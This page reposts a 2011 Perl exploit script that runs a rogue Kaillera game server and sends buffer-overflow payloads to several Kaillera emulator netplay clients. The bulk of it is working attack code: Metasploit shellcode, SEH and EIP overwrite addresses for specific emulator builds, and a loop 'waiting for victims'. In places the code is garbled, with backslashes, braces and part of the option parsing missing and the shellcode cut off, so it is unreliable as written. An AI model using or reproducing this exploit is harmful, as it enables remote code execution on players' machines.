Skip to content

Kaillera Multiple Clients Buffer Overflow Vulnerabilities


# Exploit Title: Remote Buffer Overflows in Kaillera clients
# Date: 6/30/11
# Author: sil3nt_dre4m
# Software Link: Multiple:
# 1.  Kaillera original client: An emulator to download with this client bundled with it is Project64K 0.13:
# 2.  Supraclient 0.85.2 CPPE : This client can be found here:
# 3.  Open Kaillera p2p client:
# Version: Multiple-see below
# Tested on: Windows XP, Windows 7
#This script acts as a Kaillera server in order to exploit various Kaillera clients.
#Kaillera facilitates playing emulator games over a network.
#The Kaillera protocol is built on top of UDP and is mostly documented here:
#Kaillera clients implement this protocol, and many of them have serious vulnerabilities in their code.
#This server is capable of exploiting buffer overflows in the following clients:
#Exploit tested against Windows 7 and XP machines, gets around ASLR (modules don't have it loaded).
#Note: If you wish to exploit the same client twice, you will need to restart the server.
#To reproduce the bugs shown here:
#1.  Download the Kaillera client you wish to test bug on.
#2.  Download emulator capable of Kaillera netplay, or one which this script targets (Mame32k, and so forth).
#3.  Overwrite existing kailleraclient.dll with the one you wish to exploit (Supraclient, open kaillera, original client).
#4.  Look for something that says netplay or Kaillera, and select it.  In each emulator its different, for instance in Project64K go to File > Start Netplay.
#5.  Run this server and connect to the IP its hosted on with the kaillera client.
#Greetz to: Blindgeek and jediknight304 for much help with this script, corelanc0d3r for
#awesome tutorials on buffer overflows, and Requiem for help with fixing security bugs in Kaillera clients.
#DISCLAIMER: I'm not responsible for how you use this code.
#By running this code, you agree to accept responsibility for how you use it and you agree to not hold me responsible for any problems arising from running this code.
#Final Note: For more information on Kaillera vulnerabilities and remediation information, check out
use strict;
use warnings;
use IO::Socket;
use Getopt::Long;
use Digest::MD5 qw(md5);
use subs qw(sendmessage help);
### Shellcode- spawn calc.exe from Metasploit Framework - ###
my $sc =
"x31xc9xddxc5xb8xe6xd8x80xa4xb1x33xd9x74x24" .
"xf4x5ax31x42x16x83xeaxfcx03x42xf4x3ax75x58" .
"x10x33x76xa1xe0x24xfex44xd1x76x64x0cx43x47" .
"xeex40x6fx2cxa2x70xe4x40x6bx76x4dxeex4dxb9" .
"x4exdex51x15x8cx40x2ex64xc0xa2x0fxa7x15xa2" .
"x48xdaxd5xf6x01x90x47xe7x26xe4x5bx06xe9x62" .
"xe3x70x8cxb5x97xcax8fxe5x07x40xc7x1dx2cx0e" .
"xf8x1cxe1x4cxc4x57x8exa7xbex69x46xf6x3fx58" .
"xa6x55x7ex54x2bxa7x46x53xd3xd2xbcxa7x6exe5" .
"x06xd5xb4x60x9bx7dx3fxd2x7fx7fxecx85xf4x73" .
"x59xc1x53x90x5cx06xe8xacxd5xa9x3fx25xadx8d" .
"x9bx6dx76xafxbaxcbxd9xd0xddxb4x86x74x95x57" .
"xd3x0fxf4x3dx22x9dx82x7bx24x9dx8cx2bx4cxac" .
"x07xa4x0bx31xc2x80xe3x7bx4fxa0x6bx22x05xf0" .
"xf6xd5xf3x37x0ex56xf6xc7xf5x46x73xcdxb2xc0" .
"x6fxbfxabxa4x8fx6cxccxecxf3xf3x5ex6cxdax96" .
my $adjust ="x81xc4x54xf2xffxff"; # add esp, -3500 adjusts the stack
my $ack="x05x00x00x00x00x00x01x00x00x00x02x00x00x00x03x00x00x00"; #ACK packet in Kaillera protocol, see docs
my $ServerStatus="x04" . "x00" x 9; # No other users shown in server.
my $oldjunk="A" x 92; #For exploiting old Kaillera client username BOF.
my $junk="A" x 2082; #For exploiting P2P Kaillera client
my $suprajunk="A" x 2048; #Supraclient junk
my $MOTDHeader="x17" . "Server";
my $MOTDMessage="Hello, Welcome to the Server";
my $nseh="xebx06x90x90"; #short jmp for SEH exploits
my $seh, my $eip;
my $ServerExploit;
my $username;
my %inc; #increments a counter per client connected to us, each time a message is sent
my ($port, $ip, $help, $target, $listtarget, $listemu, $emu, $delay, $debug);
$port = 27888;
'ip=s' =>$ip,
'help' =>$help,
't=s' =>$target,
'emu=s' =>$emu,
'targets' =>$listtarget,
'delay=i' =>$delay,
'debug' =>$debug,
'emus' =>$listemu
if (defined $listtarget) {
print "rn=========Pick a version of Kaillera to attack :) ========rnrn" ;
print "1.  Kaillera 0.9/Anti3d  -t old rnrnPick emulator to target with -emu flag: mame32k, snes, mupenrnrn";
print "2.  SupraclientCPPE 0.85.2  -t supra:rnrnPick emulator to target with -emu flag: mame32, mupenrnrn";
print "3.  Open Kaillera n02v0r6  -t p2p (Universal Exploit)rn" ;
if (defined $listemu) {
print "rn=========Specific versions of emulators being attacked :) ============" . "rnrn" ;
print "Mame32k 0.64  -emu mame32krnrn";
print "Mame32++ 0.117  -emu mame32rnrn";
print "Mupen64k 0.7.9  -emu mupenrnrn";
print "Snes9k 0.09  -emu snesrn";
help() if($help or not defined $ip or not defined $target);
#Note: add new targets like this, but make sure to use $variable when redefining, not "my $variablename" or it wont work from earlier scope.
#Also, note that target "old" uses SEH-based overflow while target "supra" uses EIP overwrite.
if ($target eq "old") {
if (not defined $emu) {
print "rnPick an emulator to target, this exploit isn't universalrn";
if ($emu eq "mame32k") {
print "rnTargetting Mame32k 0.64 running with Kaillera client 0.9...rn";
$seh=pack('V',0x010B3A06); # #pop ebx - pop esi - ret at 0x010B3A06 [mame32k.exe]
elsif ($emu eq "snes") {
print "rnTargetting Snes9k 0.09 running with Kaillera client 0.9...rn";
$seh=pack('V',0x10018ECD); # pop ebx - pop ecx - ret at 0x10018ECD [sdl.dll]
elsif ($emu eq "mupen") {
print "rnTargetting Mupen64k 0.7.9 running with Kaillera client 0.9...rn";
$seh=pack('V', 0x67F46FEF); #pop edi - pop ebp - ret at 0x67F46FEF [mupen64_rsp_hle.dll].
else {
print "rnPick a valid emulator to target: -emus to list emulators rn";
elsif ($target eq "p2p") {
print "rnTargetting P2P Client (Universal exploit)...rn";
if (defined $emu) {
print "rnUniversal exploit, no emu necessary...rn";
elsif ($target eq "supra") {
if (not defined $emu) {
print "rnPick an emulator to target, this exploit isn't universalrn";
if ($emu eq "mame32") {
print "rnTargetting Mame32++ 0.117 running with Supraclient...rn";
$eip=pack('V', 0x01C01104); #jmp esp in mameppkgui.exe
elsif ($emu eq "mupen") {
print "rnTargetting Mupen64k 0.7.9 running with Supraclient...rn";
$eip=pack('V', 0x10021C16); #jmp esp at 0x10021C16 [aziaudio.dll]
else {
print "rnPick a valid target, try -targets if you're lost.rn";
my $hello = "HELLOD00D$port";
#Open a new socket, start an infinite loop receiving messages from clients
my $sock = IO::Socket::INET->new(Proto=>'udp', LocalPort=>$port) or die "Error opening $ip:$port rn$!";
print "Evil Kaillera Server Started on $ip:$port, waiting for victims :Drn";
my $msg_in;
while (1) {
my $packet = unpack 'H*', $msg_in;
if (defined $debug) {
print "Packet found: $packetn";
my $peerhost = $sock->peeraddr;
my $peerport = $sock->peerport;
#Check for client hello, send server hello
if ($msg_in =~ m/HELLO0.83/) {
print "Sending Hello...n";
#Since we're using an IF loop for username detection, the scope needs to be over everything else,
#because local machine processes data faster than incoming network data.
#Otherwise, username won't be detected until AFTER ServerAnnouncement is sent and it wont work.
if ($msg_in =~ m/x03(.*?x00)/){
my $username = $1 ;
my $ServerAnnounce="x02" . $username . substr(md5($username),0,2) . "x00" x 4 . "x01"; #Not Complete yet
if ($packet=~m/.{10}03/) {
if (defined $debug) {
print "Username $username foundrn" . "Sending ACKs to client...rn";
sendpacket($sock, $ack) for (1..3);
sleep 1;
sendpacket($sock, $ServerStatus);
print "Sending ServerStatus...rn";
sendpacket($sock, $ServerAnnounce);
if ($target eq "p2p") {
print "Attacking p2p client...rn";
$eip=pack('V',0x100123F3); # call esp in kailleraclient.dll, universal
sendpacket($sock, $MOTDHeader.$junk.$eip.$sc);
print "Sending MOTD payload to P2PClient...n";
if (defined $delay) {
sleep $delay;
if ($target eq "supra") {
print "Sending MOTD payload to Supraclientrn";
sendpacket($sock, $MOTDHeader.$suprajunk.$eip.$adjust.$sc);
if (defined $delay) {
sleep $delay;
if ($target eq "old") {
print "Sending Announce, MOTD to old kaillera client...rn";
sendpacket($sock, $MOTDHeader.$MOTDMessage);
my $ServerExploit="x02" . $oldjunk . $nseh . $seh . $sc;
print "Sending ServerStatus payload to 0.9 client...rn";
sendpacket($sock, $ServerExploit);
if (defined $delay) {
sleep $delay;
########### FUNCTIONS #####################
sub help{
print "rnUsage: $0 -port=1111 -ip= -t=supra -emu=mame32 -targets -emus -delay 10 -debug -helpn";
exit 0;
#This sendmessage function takes a message and an ip, and sends it nicely - thanks jediknight304
#sendpacket($socket, $message, $anothermessage);
sub sendpacket{
my $sock = shift;
bless $sock, "IO::Socket::INET";
my @messages = @_;
my $numberofmessages = @messages;
my $messagesbyte = pack('c',$numberofmessages);#how many messages are in our packet
my $packet;
#each client has to have an incrementing packet number
my $header = pack('v', $inc{$$sock->peeraddr}++) . pack ('v', length($_));
$packet .= $header.$_;
$$sock->send($messagesbyte.$packet) or die "Couldn't send:n$packetn$!";




Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.